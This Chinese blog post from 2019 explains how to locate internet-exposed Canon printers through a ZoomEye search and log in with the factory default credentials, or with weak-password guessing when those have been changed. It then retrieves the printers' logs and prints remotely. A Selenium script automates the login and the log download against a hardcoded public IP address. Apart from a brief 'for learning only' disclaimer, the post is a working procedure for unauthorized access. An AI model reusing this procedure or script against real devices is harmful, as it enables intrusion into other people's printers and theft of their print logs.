zoomeye搜索+用selenium实现对佳能打印机的爬虫

本文仅用于学习参考。要遵纪守法哦!

 

目的:找出一台佳能打印机,得到它的日志文件,并利用其远程打印。

 

1、先用zoomeye找一个打印机出来,搜索语句:printer +country:"CN" +server:"CANON HTTP Server"

 

2、佳能打印机的web页面通常是8000端口,拎出IP来尝试,发现有两种登录界面。(不包括香港台湾的打印机)

 

界面一的默认用户名和密码为7654321,如果密码已被修改,可用弱口令尝试破解,此处用的是默认用户名和密码。

进入之后(日志在箭头1,打印在箭头2):

3、爬虫实现代码如下:

# /usr/bin/python
# encoding: utf-8
#得到单个需要登录IP的日志文件 下载到E盘download文件夹
import time
from selenium import webdriver

def login(url,username, password):

    chromeOptions = webdriver.ChromeOptions()
    prefs = {'profile.default_content_settings.popups': 0,'download.default_directory': 'e:\\download'}
    chromeOptions.add_experimental_option('prefs', prefs)
    driver = webdriver.Chrome(chrome_options=chromeOptions)
    driver.get(url)

    name_input = driver.find_element_by_id('deptid')  # 找到用户名的框框
    pass_input = driver.find_element_by_id('password')  # 找到输入密码的框框
    login_button = driver.find_element_by_xpath("//input[@class='ButtonEnable']")  # 找到登录按钮

    name_input.clear()
    name_input.send_keys(username)  # 填写用户名
    time.sleep(0.2)
    pass_input.clear()
    pass_input.send_keys(password)  # 填写密码
    time.sleep(0.2)
    login_button.click()            # 点击登录

    no_button = driver.find_element_by_xpath("//input[@onclick='javaScript:cancel();']")
    time.sleep(0.2)
    no_button.click()

    links = driver.find_elements_by_tag_name("a")
    time.sleep(1)
    links[7].click()

    down_button = driver.find_element_by_xpath("//*[@id='printLogListModule']/div/div[1]/fieldset[1]/input")
    time.sleep(2)
    down_button.click()

    time.sleep(10)
    driver.close()

if __name__ == "__main__":
    url = 'http://58.248.39.141:8000/sysmonitor'
    user = "7654321"
    pw = "7654321"
    login(url,user, pw)

OVER!

 

posted @ 2019-04-18 10:11  poziiey  阅读(816)  评论(0编辑  收藏  举报